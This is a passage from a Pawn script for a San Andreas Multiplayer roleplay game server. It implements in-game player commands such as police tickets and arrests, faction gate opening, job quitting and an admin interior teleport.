						if(IsPlayerConnected(i))
						{
							if(GetPlayerWantedLevel(i) >= 1)
							{
								GetPlayerName(i, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "%s%s: %d", string,giveplayer,GetPlayerWantedLevel(i));
								x++;
								if(x > 3) {
									SendMessage(playerid, COLOR_YELLOW, string);
									x = 0;
									format(string, sizeof(string), "");
								} else {
									format(string, sizeof(string), "%s, ", string);
								}
							}
						}
					}
					if(x <= 3 && x > 0) {
						string[strlen(string)-2] = '.';
						SendMessage(playerid, COLOR_YELLOW, string);
					}
				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You're not a Cop.");
				}
			}//not connected
			return 1;
		}

		if(strcmp(cmd, "/dropcar", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pJob] == 5)
				{
					if(PlayerInfo[playerid][pCarTime] == 0)
					{
					if(OnCheckpoint[playerid] == 1) return SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
					if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_LIGHTBLUE,"You are not in any vehicle.");
					if(CP[playerid] >= 1 || RCP[playerid] >= 1) return SCM(playerid,COLOR_LIGHTBLUE,"You already have a checkpoint.");
						SCM(playerid,COLOR_LIGHTBLUE,"Drive this Vehicle to the checkpoint");
						OnCheckpoint[playerid] = 1;
						CP[playerid] = 1;
						SetPlayerCheckpoint(playerid, 2855.1455,896.1536,10.1521,8.0);
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "You already Dropped a car, wait till your reload time is over.");
					}
				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Car Jacker.");
				}
			}
			return 1;
		}
		//---------------------------------------------
		if(strcmp(cmd, "/quitjob", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PINFO[playerid][pJob] == 1)
				{
					if(FindTime[playerid] > 0)
					{
						OnPlayerCommandText(playerid, "/cancel find");
					}
				}
				if(PlayerInfo[playerid][pJob] >= 1)
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You quited from your job.");
					PlayerInfo[playerid][pJob] = 0;
					SaveKonVal(playerid, "pJob", 0);
					//PlayerInfo[playerid][pCard] = 0;
				    //SaveKonVal(playerid, "pCard", PINFO[playerid][pCard]);
				}
				else
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You are unemployed!");
				}
			}
			return 1;
		}
		//----------------------------------------------------------------------------------
		if(strcmp(cmd, "/ticket", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(!IsAPDMember(playerid))
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Police Department.");
					return 1;
				}
				if(OnDuty[playerid] != 1)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not On-Duty.");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Ticket <Playerid/PartOfName> <Price> <Reason>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Ticket <Playerid/PartOfName> <Price> <Reason>");
					return 1;
				}
				moneys = strval(tmp);
				if(moneys < 500 || moneys > 15000) { SendMessage(playerid, COL_SYN, "Ticket Money can't be below $500 or higher then $15,000"); return 1; }
				if(IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
						if (ProxDetectorS(8.0, playerid, giveplayerid))
						{
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
		  new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Ticket <Playerid/PartOfName> <Price> <Reason>");
								return 1;
							}
							format(string, sizeof(string), "You gave %s a Ticket costing $%d, reason: %s", giveplayer, moneys, (result));
							SendMessage(playerid, COL_SYN, string);
							format(string, sizeof(string), "Officer %s has given you a Ticket costing $%d, reason: %s", sendername, moneys, (result));
							SendMessage(giveplayerid, COL_SYN, string);
							format(string, sizeof(string), "Use /[acc]ept ticket %d, to accept ticket or cancel.",playerid);
							SCM(giveplayerid,COL_SYN,string);
							TicketOffer[giveplayerid] = playerid;
							TicketMoney[giveplayerid] = moneys;
							return 1;
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is not near you.");
							return 1;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "That player is Offline");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/arrest", true) == 0)
		{
			if(gTeam[playerid] == TEAM_COP  || IsACop(playerid))
			{
				if(OnDuty[playerid] != 1)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty.");
					return 1;
				}
				if(Mahal[playerid] == 2 || PTP(30.0, playerid, /*1799.992309,-1578.568725,14.076499*/-1015.353576, -598.169372, 32.033050) || PTP(3.0, playerid,2296.650146,2468.680419,10.820312) || PTP(3.0,playerid,1568.530761,-1692.570068,5.890625) || PTP(4.0,playerid,2296.014648,2450.677490,10.820312) || PTP(4.0,playerid,-1592.815551,716.191406,-5.242187) || PTP(4.0,playerid,2268.009521,2449.289550,3.531250))
				{
					new suspect;
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /arrest <Playerid/PartOfName>");
					suspect = ReturnUser6(tmp);
					if(!IsPlayerConnected(suspect)) return SCM(playerid,COLOR_SINA3,"Player is not connected.");
					//if(PlayerInfo[suspect][pAdmin] > 11) return SCM(playerid, COLOR_YELLOW2, "Error:{FF0000} You can't arrest higher admins rank.");
					if(GetPlayerWantedLevel(suspect) <= 0) return SCM(playerid,COLOR_SINA3,"That player must be least wanted level 1.");
					new Float:x,Float:y,Float:z;
					GetPlayerPos(suspect,x,y,z);
					if(!PTP(4.0,playerid,x,y,z)) return SCM(playerid,COLOR_SINA3,"That player is not near you!");
					new time;
					if(GetPlayerWantedLevel(suspect) == 1)
					{
						moneys = 400;
					}
					else if(GetPlayerWantedLevel(suspect) == 2)
					{
						moneys = 900;
					}
					else if(GetPlayerWantedLevel(suspect) == 3)
					{
						moneys = 1300;
					}
					else if(GetPlayerWantedLevel(suspect) == 4)
					{
						moneys = 2000;
					}
					else if(GetPlayerWantedLevel(suspect) == 5)
					{
						moneys = 3000;
					}
					else if(GetPlayerWantedLevel(suspect) >= 6)
					{
						moneys = 4000;
					}
					if(GetPlayerWantedLevel(suspect) <= 6) time = (GetPlayerWantedLevel(suspect))*(360);
					else time = 6000;
					GetPlayerName(suspect, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					format(string, sizeof(string), "You arrested %s", giveplayer);
					SendMessage(playerid, COLOR_LIGHTBLUE, string);
					GivePlayerPool(suspect, -moneys);
					GivePlayerPool(playerid,moneys);
					format(string, sizeof(string), "arrested by %s ~n~    for $%s", sendername, FormatNumber(moneys));
					GameTextForPlayer(suspect, string, 5000, 5);
					ResetPlayerKolang(suspect);
					PlayerInfo[suspect][pJailTime] = time;
					SaveKonVal(suspect, "pJailTime", time);
					if(ImFararing[suspect]==1)
					{
					ImFararing[suspect]=0;
					if(FararTime[suspect]!=0){KillTimer(FararTime[suspect]);FararTime[suspect]=0;}
					PINFO[suspect][pJailTime]+=6000;
					SaveKonVal(suspect, "pJailTime", PINFO[suspect][pJailTime]);
					YekiFararKarde=0;
					StopPrisonAlarm();
					}
					TogglePlayerControllable(suspect, 1);
					PlayerCuffed[suspect] = 0;
					RemovePlayerAttachedObject(suspect, 1);
					PlayerHandsCuffed[suspect] = 0;
					SetPlayerSpecialAction(suspect,SPECIAL_ACTION_NONE);
					format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s arrested %s for %d seconds ($%s)", GetPlayerRank(playerid), sendername, giveplayer, PlayerInfo[suspect][pJailTime], FormatNumber(moneys));
					SendFamilyMessage(1, COLOR_BLUE, string);
					SendFamilyMessage(2, COLOR_BLUE, string);
					SendFamilyMessage(3, COLOR_BLUE, string);
					SetPlayerWantedLevel(suspect, 0);
					SpawnPlayer(suspect);
					FreezePlayer(suspect);
					format(string, sizeof(string), "You are jailed for %d seconds", PlayerInfo[suspect][pJailTime]);
					SendMessage(suspect, COLOR_LIGHTBLUE, string);
					PlayerInfo[suspect][pArrested] += 1;
					SaveKonVal(suspect, "pArrested", PINFO[suspect][pArrested]);
					SetPlayerFree(suspect,playerid, "Got Arrested");
					WantLawyer[suspect] = 1;
					PlayerInfo[playerid][pFAct1] += 1;
				    SaveKonVal(playerid, "pFAct1", PINFO[playerid][pFAct1]);
				} else { SCM(playerid,COLOR_SINA3,"You aren't near any arrest place."); return 1; }
			}
			else
			{
				SendMessage(playerid, COLOR_BLUE, "You are not a Cop.");
				return 1;
			}
			return 1;
		}
	//=========================================================================================================
	   if(strcmp(cmd, "/opengate", true) == 0 || strcmp(cmd, "/og", true) == 0)
		{
			if(PINFO[playerid][pPhousekey] == 0) {
			if(PTP(10,playerid,1362.40356, -844.20490, 45.22834)) {
			if(ErfanDar2 == 0) {
			MoveDynamicObject(erfan3,1365.71533, -838.64551, 43.90890,5,   0.66000, 2.28000, 59.04000);
			MoveDynamicObject(erfan4,1358.95386, -849.75696, 44.10458,5,  0.66000, 2.28000, 58.56002);
			ErfanDar2 = 1;
			}
			else {

			MoveDynamicObject(erfan3,1363.68201, -842.02289, 43.90890,5,   0.66000, 2.28000, 59.04000);
			MoveDynamicObject(erfan4,1360.98181, -846.49091, 44.10458,5,   0.66000, 2.28000, 58.56002);

			ErfanDar2 = 0;
			}
			return 1;
			}
			if(PTP(10,playerid,1245.73584, -766.89697, 92.21262)) {
			if(ErfanDar1 == 0) {
			MoveDynamicObject(erfan1,1240.82813, -769.85620, 90.92889,5,   0.00000, 0.00000, -86.70002);
			MoveDynamicObject(erfan2,1250.41028, -770.06177, 90.92802,5,  0.00000, 0.00000, 86.88002);

			ErfanDar1 = 1;
			}
			else {
			MoveDynamicObject(erfan1,1243.27173, -767.28320, 90.92889,5,   0.00000, 0.00000, 2.88000);
			MoveDynamicObject(erfan2,1248.44177, -767.17200, 90.92802,5,  0.00000, 0.00000, -0.66000);
			ErfanDar1 = 0;
			}
			return 1;
			}
			if(PTP(10,playerid,1273.78821, -824.64264, 108.93504)) {
			if(Erfan5H == 1) return SCM(playerid,COLOR_WHITE,"Gate is already opened.");
			Erfan5H = 1;
			MoveDynamicObject(erfan5, 1277.30872, -825.85254, 108.96400, 0.1,  2.88000, -2.27999, -17.58000);
			SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
			SetTimer("Erfan5T", 5000,false);
			return 1;
			}
			}
			/*
			if(PINFO[playerid][pLeader] == 21 || PINFO[playerid][pLeader] == 3) {
			if(PTP(10,playerid,1324.670288,728.113769,9.920312)) {
			if(DarSS == 0) {
			MoveDynamicObject(DarBazKon,1324.4373, 721.9024, 17.9712,5,0.0000, 0.0000, -91.9800);
			DarSS = 1;
			}
			else {
			MoveDynamicObject(DarBazKon, 1324.4373, 721.9024, 12.6037, 5.0, 0.0, 0.0, -91.9800);
			DarSS = 0;
			}
			return 1;
			}
			}
			*/
			if((IsACop(playerid) || IsAHacker(playerid) && ImHackedGates[playerid] == 1) && PTP(10,playerid,1778.161865,-1543.112182,2001.300415))
			{
				if(JailGateOpen == false) {MoveDynamicObject(JailGate,1777.7384, -1534.0942, 2004.0219,5,0.0000, 0.0000, 90.0000); JailGateOpen = true; UpdateDynamic3DTextLabelText(JailGate3D,COLOR_WHITE,"Gate\n use /opengate or /og to close this gate."); return 1;}
				else {MoveDynamicObject(JailGate,1777.73840, -1543.09424, 2004.02185,5,0.0000, 0.0000, 90.0000); JailGateOpen = false; UpdateDynamic3DTextLabelText(JailGate3D,COLOR_WHITE,"Gate\n use /opengate or /og to open this gate."); return 1;}
			}
			if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20 || (IsAHacker(playerid) && ImHackedGates[playerid] == 1))
			{
				if (PlayerToPoint(10.0, playerid, 1542.3541,-1627.5516,13.3828))
				{
				if(gateopen1 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
					MoveDynamicObject(barrierls, 1544.69641113,-1630.79003906,13.00000000, 0.001, 0, 0, 270);
					SetTimer("GateTime" ,3000 ,false);
					SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
					gateopen1 = 1;
					return 1;
				}
			}
			if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
			{
				if (PlayerToPoint(10.0, playerid, 2238.5105,2454.0935,10.8203))
				{
				if(gateopen2 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
					MoveDynamicObject(barrierlv, 2238.16210938,2450.41113281,10.71316910, 0.001, 0, 0, 90);
					SetTimer("GateTime1" ,3000 ,false);
					SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
					gateopen2 = 1;
					return 1;
				}
			}
			if(IsACop(playerid))// Prison main gate
			{
				if (PlayerToPoint(10.0, playerid, -1039.196655, -588.116210, 32.296943))
				{
				if(gateopen11 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
					MoveDynamicObject(prisonmaingate, -1037.32507, -588.12744, 25.52484, 5);
					SetTimer("GateTime11" ,3000 ,false);
					SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
					gateopen11 = 1;
					return 1;
				}
			}
			if(GetPlayerFactionID(playerid)==3)
			{
				if (PlayerToPoint(10.0, playerid, 2578.28296, -1496.61218, -47.34000))
				{
				if(prisonmolaghatopen == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
					MoveDynamicObject(prisonmolaghat, 2578.28296, -1496.61218, -49.93550, 5);
					SetTimer("GateTime111" ,3000 ,false);
					SendMessage(playerid, COLOR_GRAD6,"The door is now open, and will be closed in 3 seconds.");
					prisonmolaghatopen = 1;
					return 1;
				}
			}
			if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
			{
				if (PlayerToPoint(10.0, playerid, 1589.0651,-1636.4768,13.4254))
				{
				if(gateopen3 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
					MoveDynamicObject(garagels, 1588.3868,-1638.2165, -7, 5);
					SetTimer("GarageLS" ,3000 ,false);
					SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
					gateopen3 = 1;
					return 1;
				}
			}

			if(IsACop(playerid))
			{
			   if(PTP(20.0,playerid,321.321075, 1897.642333, 16.636323))
			   {
			   if(gateopen4 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
				  MoveDynamicObject(area1gate1,321.3211, 1897.6423, 13.3879,5,0.0000, 0.0000, 270.0000);
				  MoveDynamicObject(area2gate1,321.3211, 1897.6423, 13.3879,5,0.0000, 0.0000, 270.0000);
				  MoveDynamicObject(area3gate1,321.3211, 1897.6423, 13.3879,5,0.0000, 0.0000, 270.0000);
				  SetTimer("areagate1",6000,false);
				  gateopen4 = 1;
				  SCM(playerid,COLOR_GRAD6,"The gate is now open, and will be closed in 6 seconds.");
				  return 1;
			   }
			}
			if(IsACop(playerid))
			{
			   if(PTP(20.0,playerid,81.3497, 1913.8065, 13.3164))
			   {
			   if(gateopen5 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
				  MoveDynamicObject(area1gate2,81.3497, 1922.5674, 13.3143,5,0.0000, 0.0000, 90.0000);
				  MoveDynamicObject(area2gate2,81.3497, 1913.8065, 13.3164,5,0.0000, 0.0000, 90.0000);
				  SetTimer("areagate2",6000,false);
				  gateopen5 = 1;
				  SCM(playerid,COLOR_GRAD6,"The gate is now open, and will be closed in 6 seconds.");
				  return 1;
			   }
			}
			if(IsACop(playerid))
			{
			   if(PTP(20.0,playerid,81.3481, 2063.2515, 16.5053))
			   {
			   if(gateopen6 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
				  MoveDynamicObject(area1gate3,81.3481, 2063.2515, 13.1630,5,0.0000, 0.0000, 90.0000);
				  MoveDynamicObject(area2gate3,81.3481, 2072.0249, 12.9549,5,0.0000, 0.0000, 90.0000);
				  SetTimer("areagate3",6000,false);
				  gateopen6 = 1;
				  SCM(playerid,COLOR_GRAD6,"The gate is now open, and will be closed in 6 seconds.");
				  return 1;
			   }
			}
			if(IsACop(playerid))
			{
			   if(PTP(20.0,playerid,209.79103, 1875.28442, 12.13354))
			   {
			   if(gateopen7 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
				  MoveDynamicObject(AreaGate,209.79100, 1875.28442, 8.86356,4.1,0,0,0);
				  SetTimer("areagate",3000,false);
				  gateopen7 = 1;
				  SCM(playerid,COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
				  return 1;
			   }
			}
			if(IsACop(playerid))
			{
			   if(PTP(10.0,playerid,1764.49976, -1547.03247, 2004.02783))
			   {
			   if(gateopen23 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
				  MoveDynamicObject(JailX,1764.49976, -1547.03247, 2007.31384, 5);
				  SetTimer("JailXT",3000,false);
				  gateopen23 = 1;
				  SCM(playerid,COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
				  return 1;
			   }
			}
			if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
			{
				if (PlayerToPoint(10.0, playerid, 2334.4844,2444.3457,5.6337))
				{
				if(gateopen8 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
					MoveDynamicObject(garagelv, 2335.2814,2444.1799, -7, 5);
					SetTimer("GarageLV" ,3000 ,false);
					gateopen8 = 1;
					SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
					return 1;
				}
			}
			if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
			{
				if (PlayerToPoint(10.0, playerid, 2292.9104,2499.2024,3.4907))
				{
				if(gateopen9 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
					MoveDynamicObject(garagelv1, 2294,2498.5915, -4.5, 5);
					SetTimer("GarageLV1" ,3000 ,false);
					gateopen9 = 1;
					SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
					return 1;
				}
				}
			/*
			if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
			{
				if (PlayerToPoint(10.0, playerid, -1624.76929, 688.32880, 8.89564))
				{
				if(gateopen20 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
					MoveDynamicObject(sfpdgate1, -1617.58215, 688.25903, 8.89564, 5);
					SetTimer("sfpdgate1T" ,3000 ,false);
					gateopen20 = 1;
					SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
					return 1;
				}
				}
				*/
			if(PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
			{
				if (PlayerToPoint(10.0, playerid, -1636.33142, 688.33667, 8.89540))
				{
				if(gateopen21 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
					MoveDynamicObject(sfpdgate2, -1645.67871, 688.23499, 8.89564, 5);
					SetTimer("sfpdgate2T" ,3000 ,false);
					gateopen21 = 1;
					SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
					return 1;
				}
				else
				SCM(playerid, COLOR_GRAD4,"** You are not the destination for open the gate.");
				return 1;
			}
			return 1;
		}

		///-----
		/*
			   if(strcmp(cmd, "/manambazkon", true) == 0 || strcmp(cmd, "/wski", true) == 0)
			{
			if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pHelper] != 4) return SCM(playerid,COLOR_GREEN,"Error: Your Admin level isn't high enough to use this command.");
			if(PTP(10,playerid,1245.8477, -767.2452, 93.9868)) {
			if(DarSS == 0) {
			MoveDynamicObject(DarBazKon,1245.8477, -767.2452, 93.9868,0,0.0000, 0.0000, -91.9800);
			DarSS = 1;
			}
			else {
			MoveDynamicObject(DarBazKon, 1245.8477, -767.2452, 93.9868, 0.0, 0.0, 0.0, -91.9800);
			DarSS = 0;
			}
			return 1;
			}
			}
			*/
			/*
		if(strcmp(cmdtext, "/openhq", true) == 0 || strcmp(cmd, "/oh", true) == 0)
		{
		   if(PlayerInfo[playerid][pClan] == 1 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
			{
				 if(gateopen10 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
			if (PlayerToPoint(10.0, playerid, 2222.889648,-1140.269165,25.708787)) {
			MoveDynamicObject(TTgate, 2214.9355, -1138.5302, 28.3421, 5, 0.0000, 0.0000, -16.8600);
			SetTimer("TTgateT" ,3000 ,false);
			gateopen10 = 1;
			SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
			return 1;
		}
	 }
		   if(PlayerInfo[playerid][pClan] == 3 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
			{
				 if(gateopen22 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
			if (PlayerToPoint(10.0, playerid, 2184.15991, -1762.50024, 14.65228)) {
			MoveDynamicObject(EVgate, 2175.31470, -1762.51538, 14.69943, 5, 0.0000, 0.0000, 0.0000);
			SetTimer("EVgateT" ,3000 ,false);
			gateopen22 = 1;
			SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
			return 1;
		}
	 }
			 if(PlayerInfo[playerid][pLeader] == 8 || PlayerInfo[playerid][pMember] == 8 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
			{
				 if(gateopen15 == 1)
				{
				SCM(playerid,COLOR_WHITE,"Gate is already opened.");
				return 1;
				}
	   if (PlayerToPoint(10.0, playerid, 1021.2133, -377.7204, 74.7619))   {
			MoveDynamicObject(obj5, 1021.2133, -377.7204, 80.3642, 5.00);
			SetTimer("obj5T" ,3000 ,false);
			gateopen15 = 1;
			SendMessage(playerid, COLOR_GRAD6,"The gate is now open, and will be closed in 3 seconds.");
			return 1;
		}
	 }
				else
				SCM(playerid, COLOR_GRAD4,"** You are not the destination for open the gate.");
				return 1;
	 }
	 */
/*
		if(strcmp(cmdtext, "/balloon22", true) == 0 || strcmp(cmd, "/ballon22", true) == 0 || strcmp(cmd, "/baloon22",true) == 0|| strcmp(cmd, "/blo22",true) == 0)
		{
				if (PlayerToPoint(1.5, playerid, 303.965179,-1901.703857,2.574748)) {
				 if(balsys1 == 1)
				{
				SCM(playerid,COLOR_RED,"Already On use.");
				return 1;
				}
				if(GetPlayerPool(playerid) < 200)
				{
			SendMessage(playerid, COLOR_GRAD5, "You haven't enough cash (200$)");
			return 1;
				}
			GivePlayerPool(playerid,-200);
			GameTextForPlayer(playerid, "~r~-$200", 5000, 1);
			SendMessage(playerid, COLOR_AdminWarn, "Balloon control is ready for 5 minutes.")
			SendMessage(playerid, COLOR_AdminWarn, "Tutorial: LAlt: Up / Enter(F): Down / Right,Left,Forward,Back: Y , H , 4(Numpad) , 6(Numpad) / Stop: C")
			BallonChand[playerid] = 1;
			Bl1 = SetTimerEx("B1T", 300000, 0, "d", playerid);
			balsys1 = 1;
			OnBallon[playerid] = 1;
			return 1;
		}
				if (PlayerToPoint(1.5, playerid, 271.637725,-1897.869995,2.574748)) {
				 if(balsys2 == 1)
				{
				SCM(playerid,COLOR_RED,"Already On use.");
				return 1;
				}
				if(GetPlayerPool(playerid) < 500)
				{
			SendMessage(playerid, COLOR_GRAD5, "You haven't enough cash (500$)");
			return 1;
				}
			GivePlayerPool(playerid,-500);
			GameTextForPlayer(playerid, "~r~-$500", 5000, 1);
			SendMessage(playerid, COLOR_AdminWarn, "Balloon control is ready for 10 minutes.");
			SendMessage(playerid, COLOR_AdminWarn, "Tutorial: LAlt: Up / Enter(F): Down / Right,Left,Forward,Back: Y , H , 4(Numpad) , 6(Numpad) / Stop: C");
			Bl2 = SetTimerEx("B2T", 600000, 0, "d", playerid);
			BallonChand[playerid] = 2;
			balsys2 = 1;
			OnBallon[playerid] = 1;

			return 1;
		}
				 else
				SCM(playerid, COLOR_RED,"You are not on baloon.");
				return 1;
	 }
	 */
	 /*
		 if(strcmp(cmdtext, "/ballon22", true) == 0 || strcmp(cmd, "/blo22", true) == 0 || strcmp(cmd, "/baloon22",true) == 0)
		{
				if (PlayerToPoint(1.5, playerid, 303.965179,-1901.703857,2.574748)) {
				 if(balsys1 == 1)
				{
				SCM(playerid,COLOR_RED,"Dar Hale Estefade Ast.");
				return 1;
				}
				if(GetPlayerPool(playerid) < 500)
				{
			SendMessage(playerid, COLOR_GRAD5, "You haven't enough cash (500$)");
			return 1;
				}
			GivePlayerPool(playerid,-500);
			GameTextForPlayer(playerid, "~r~-$500", 5000, 1);
			SendMessage(playerid, COLOR_AdminWarn, "Lotfan Dar Toole Rahe BazGasht Naistid , /Gro Bashid")
			MoveDynamicObject(Balsys1, 326.079589,-1832.628906,50.834218, 20, 0.0000, 0.0000, -16.8600);
			SetTimer("blT1" ,7000 ,false);
			balsys1 = 1;
			SendMessage(playerid, COLOR_RED,"Safar Khosh Begzarad.");
			return 1;
		}
				if (PlayerToPoint(1.5, playerid, 271.637725,-1897.869995,2.574748)) {
				 if(balsys2 == 1)
				{
				SCM(playerid,COLOR_RED,"Dar Hale Estefade Ast.");
				return 1;
				}
				if(GetPlayerPool(playerid) < 1000)
				{
			SendMessage(playerid, COLOR_GRAD5, "You haven't enough cash (1000$)");
			return 1;
				}
			GivePlayerPool(playerid,-1000);
			GameTextForPlayer(playerid, "~r~-$1000", 5000, 1);
			SendMessage(playerid, COLOR_AdminWarn, "Lotfan Dar Toole Rahe BazGasht Naistid , /Gro Bashid")
			MoveDynamicObject(Balsys2, 326.079589,-1832.628906,50.834218, 10, 0.0000, 0.0000, -16.8600);
			SetTimer("bl2T1" ,7000 ,false);
			balsys2 = 1;
			SendMessage(playerid, COLOR_RED,"Safar Khosh Begzarad.");
			return 1;
		}
				 else
				SCM(playerid, COLOR_RED,"Shoma Rooye Ballon Nistid.");
				return 1;
	 }
*/
	//------------------------------------------------------------------------------
		if(strcmp(cmd, "/gotointerior", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 5 || PINFO[playerid][pSponser] == 1)
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN,"Syntax: /gotointerior <0-146>");
					return 1;
				}
				new playa;
				playa = strval(tmp);
				if(playa < 146 && playa >= 0)
				{
					format(string, sizeof(string), "Interior %d: %s", playa, IntName[playa]);
					SendMessage(playerid, COLOR_CRS5, string);
					new admname[512];
				   GetPlayerName(playerid, admname, sizeof(admname));
				   format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Admin %s goes to Interior ID %d.",admname, playa);
					ABroadCast(COLOR_AdminWarn,string,5);
					SetPlayerInterior(playerid, IntArray2[playa][0]);
